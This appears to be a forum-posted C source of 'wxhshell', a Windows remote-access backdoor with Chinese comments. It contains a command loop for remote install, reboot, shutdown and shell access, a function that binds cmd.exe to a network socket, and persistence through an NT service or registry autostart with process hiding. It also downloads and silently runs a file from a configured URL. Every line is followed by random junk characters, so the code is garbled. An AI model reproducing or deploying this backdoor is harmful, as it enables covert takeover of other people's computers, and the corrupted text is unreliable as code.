  w(-h!d51+  
  // 帮助 Gr}lr gPS  
  case '?': { }VI}O{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1p }:K`#{  
    break; }=T=Z#OgH  
  } >Ndck2@  
  // 安装 x!R pRq9  
  case 'i': { gt Vnn]Jh  
    if(Install()) A1uo@W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g*%z{w  
    else gSn9L)k(O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rmh 1.W  
    break; (m%A>e B  
    } ;(I')[R "  
  // 卸载 lU&[){  
  case 'r': { I`-N]sf^  
    if(Uninstall())  @& fAR2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Q#yf8  
    else Q-7C'|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j,@@[{tu  
    break; LUN"p#1  
    } -Mx\W|YK  
  // 显示 wxhshell 所在路径 wu53e= /  
  case 'p': { ^Pp2T   
    char svExeFile[MAX_PATH]; k?7V#QW(  
    strcpy(svExeFile,"\n\r"); o{r<=X ysM  
      strcat(svExeFile,ExeFile); c4i%9E+Af  
        send(wsh,svExeFile,strlen(svExeFile),0); ~8l(,N0  
    break; bjCO@t  
    } pN?geF~t|  
  // 重启 }XcYIo#+t  
  case 'b': { T_3JAH e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XMpa87\  
    if(Boot(REBOOT)) & c V$`L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , tb\^  
    else { DITo.PU  
    closesocket(wsh); "`q:  
    ExitThread(0); g+1&liV  
    } ~>-MVp  
    break; *JT,]7>  
    } Y5,[udF:O  
  // 关机 ":!7R<t  
  case 'd': { NcMohpkq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^T&@(|o  
    if(Boot(SHUTDOWN)) AAW])c`.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /|MHZ$Y9w?  
    else { LfsqtQ=J`  
    closesocket(wsh); mtd ,m  
    ExitThread(0); pEp`Z,p  
    } 2*)2c[/0F  
    break; R&MdwTa  
    } VxA?LS`  
  // 获取shell Ql8s7%  
  case 's': { |x#w8=VP-  
    CmdShell(wsh); vmsrypm  
    closesocket(wsh); %pG^8Q()   
    ExitThread(0); cM 5V%w  
    break; OAw- -rl  
  } ]o+5$L,5b  
  // 退出 hI>vz"J  
  case 'x': { DElrY)3O.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q /zlU@  
    CloseIt(wsh); ;eY.4/*R  
    break; !> 2kH  
    } /?*GJN#  
  // 离开 dYxX%"J  
  case 'q': { O3KTKL]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -g\;B  
    closesocket(wsh); s{9 G//  
    WSACleanup(); CR8szMa  
    exit(1); eEl71  
    break; BL[N  
        } '^!#*O  
  } 9,c_(%C  
  } +{h.nqdAE  
hH(w O\s  
  // 提示信息 [L ?^+p>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .$"13"  
} q"9 2][}  
  } &,8F!)[9  
J5Ovj,[EZ  
  return; -\[H>)z]RB  
} +=MN_  
N> jQe  
// shell模块句柄 C116 c"  
int CmdShell(SOCKET sock) f Hd|tl  
{ VS jt|F)t  
STARTUPINFO si; (|9t+KP  
ZeroMemory(&si,sizeof(si)); G$mAyK:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9_-6Lwj6t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8yDe{  
PROCESS_INFORMATION ProcessInfo; Rl{e<>O\^  
char cmdline[]="cmd"; nghpWODq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v2l*n  
  return 0; cw3j&k  
} W7#dc89}  
8vqx}2  
// 自身启动模式 W+Q^u7K  
int StartFromService(void) zQ~ax!}R  
{ Ms 3Sri  
typedef struct \"pp-str  
{ /Os6i&;  
  DWORD ExitStatus; A9_} RJ9  
  DWORD PebBaseAddress; !9t,#?!  
  DWORD AffinityMask; WCD)yTg:ES  
  DWORD BasePriority; z50P* eS  
  ULONG UniqueProcessId; ZA+w7S3  
  ULONG InheritedFromUniqueProcessId; ^).  
}   PROCESS_BASIC_INFORMATION; iY*fp=c9  
Y*/e;mG.  
PROCNTQSIP NtQueryInformationProcess; LU $=j  
0,whTnH|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dym K@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }0V aZ<j  
4w5);x.  
  HANDLE             hProcess; #w@V!o  
  PROCESS_BASIC_INFORMATION pbi; Qo~|[]GE  
Ggk#>O G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `0, G' F  
  if(NULL == hInst ) return 0; t>! Ok  
46##(4RF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tj4/x7!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3O*^[$vM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4<V}A j8l  
Z`<5SHQd  
  if (!NtQueryInformationProcess) return 0; oy-y Q YX  
H/U.Bg 4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v\o m  
  if(!hProcess) return 0; ezb*tN!  
C#LTF-$])  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; />n!2'!  
`a `>Mtl  
  CloseHandle(hProcess); yV*jc`1  
;,/4Ry22j-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0^vz /y1c  
if(hProcess==NULL) return 0; Lpohc4d[V  
*,|x p  
HMODULE hMod; !bs5w_@  
char procName[255]; mw&'@M_(7  
unsigned long cbNeeded; {T-=&%||  
x[=,$;o+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :nOI|\ rC  
y* :C~  
  CloseHandle(hProcess); Vi`P &uPF  
KM"BHaSkF  
if(strstr(procName,"services")) return 1; // 以服务启动 jO-T1P']Y  
@ZRg9M:N  
  return 0; // 注册表启动 DwGRv:&HH  
} vmg[/#  
nC(Lr,(  
// 主模块 2@W`OW Njm  
int StartWxhshell(LPSTR lpCmdLine) y+p"5s"  
{ D#P]tt.Z   
  SOCKET wsl; w3;{z ,,T  
BOOL val=TRUE; tA]u=-_h  
  int port=0; T|,/C|L  
  struct sockaddr_in door; .W\JvPTC  
+%H=+fJ2}  
  if(wscfg.ws_autoins) Install(); x_t$*  
^ WF_IH&  
port=atoi(lpCmdLine); aLl=L_  
jx{ fel  
if(port<=0) port=wscfg.ws_port; rJh$>V+ '  
d_!}9  
  WSADATA data; CaV@<T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7 0PGbAD  
+/ {lz8^,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k[)/,1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AZf69z  
  door.sin_family = AF_INET; # [ +n(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E 6+ ooB[  
  door.sin_port = htons(port); P%ThW9^vnj  
>;lrH&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &c}2[=  
closesocket(wsl); PjofW%7F  
return 1; |qVM`,%L  
} =KAN|5yn  
?D|kCw69SE  
  if(listen(wsl,2) == INVALID_SOCKET) { * =*\w\ te  
closesocket(wsl); L1WvX6  
return 1; *pDS%,$xe  
} p( )LQT!  
  Wxhshell(wsl); !L( )3=  
  WSACleanup(); ^q`RaX)  
Vw3=jIQN:!  
return 0; 6v74mIRn'?  
&*bpEdkZ  
} v_WF.sb~  
8H1&=)M=  
// 以NT服务方式启动 QeN7~ J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rp^:{6O  
{ re,}}'  
DWORD   status = 0; 4T$DQK@e  
  DWORD   specificError = 0xfffffff; &bGf{P*Da  
d,o*{sM5d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7kITssVHI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~T/tk?:8Vi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f$5\ b[O  
  serviceStatus.dwWin32ExitCode     = 0; _8ks`O#}  
  serviceStatus.dwServiceSpecificExitCode = 0; nN^lY=3  
  serviceStatus.dwCheckPoint       = 0; unNN&m#@  
  serviceStatus.dwWaitHint       = 0; 4;@L#Pzt  
Z +O< IF%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <EdNF&S-  
  if (hServiceStatusHandle==0) return; w+Gav4  
2R ^6L@fw  
status = GetLastError(); _0ZU I^#  
  if (status!=NO_ERROR) k)[c!\a[i  
{ R<vbhB/lU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +=d=  
    serviceStatus.dwCheckPoint       = 0; 11 k}Ly  
    serviceStatus.dwWaitHint       = 0; HGDiwA  
    serviceStatus.dwWin32ExitCode     = status; G*,7pc  
    serviceStatus.dwServiceSpecificExitCode = specificError; ef!f4u\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =GW[UnO  
    return; m=Gb<)Y  
  } ;Wa&Dg/5`  
Jl6lZd(Np  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dt>9mF q  
  serviceStatus.dwCheckPoint       = 0; s}yN_D+V  
  serviceStatus.dwWaitHint       = 0; TA8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O OXP1L  
} -%Ce  
=d iGuI B  
// 处理NT服务事件,比如:启动、停止 rg=Ym.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K`j:F>b  
{ $~j9{*]5  
switch(fdwControl) IxG7eX!  
{ )/Gi-::  
case SERVICE_CONTROL_STOP: O<$j}?2  
  serviceStatus.dwWin32ExitCode = 0; =q|//*t2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Rnwyj])  
  serviceStatus.dwCheckPoint   = 0; 2[j`bYNe  
  serviceStatus.dwWaitHint     = 0; lA;qFXaN>  
  { xn@oNKD0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g>#}(u!PH  
  } | +uc;[`  
  return; th<>%e}5c  
case SERVICE_CONTROL_PAUSE: Oqt{ uTI~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d(@ ov^e-  
  break; yW\kmv.O  
case SERVICE_CONTROL_CONTINUE: _3NH"o d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1~},}S]id  
  break; OF )*kiJ  
case SERVICE_CONTROL_INTERROGATE: [Q\(k d*4  
  break; 3xmPY.  
}; `I4E': ZG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F~hH>BH9  
} pSEaE9AX%  
ie>mOsz  
// 标准应用程序主函数 8J- ?bo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z6Z/Y()4Tl  
{ xP;>p| M  
C N}0( 2n  
// 获取操作系统版本 ?A24h !7  
OsIsNt=GetOsVer(); F\ GNLi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -N6ek`  
:XoR~syT  
  // 从命令行安装 IS`ADDU[S  
  if(strpbrk(lpCmdLine,"iI")) Install(); c/:k|x  
ZG{#CC=  
  // 下载执行文件 O3%#Q3c>3  
if(wscfg.ws_downexe) { fZLAZMrM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8<32(D{  
  WinExec(wscfg.ws_filenam,SW_HIDE); E1`_[=8a9  
} R~|(]#com  
${}9/(x/^  
if(!OsIsNt) { 2- (}=N  
// 如果时win9x,隐藏进程并且设置为注册表启动  B@*!>R  
HideProc(); :#{0yno)H  
StartWxhshell(lpCmdLine); Iz;^D!  
} Q`Q"p  
else $!_}d  
  if(StartFromService()) OECVExb@eH  
  // 以服务方式启动 yu > ;m.e_  
  StartServiceCtrlDispatcher(DispatchTable); J!dv"Ww"  
else rusYNb1J  
  // 普通方式启动 -w8?Ur1x:  
  StartWxhshell(lpCmdLine); j~>J?w9<O  
JsMN_%y?  
return 0; }jU)s{>fb  
}
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只看该作者 1 发表于: 2006-10-10
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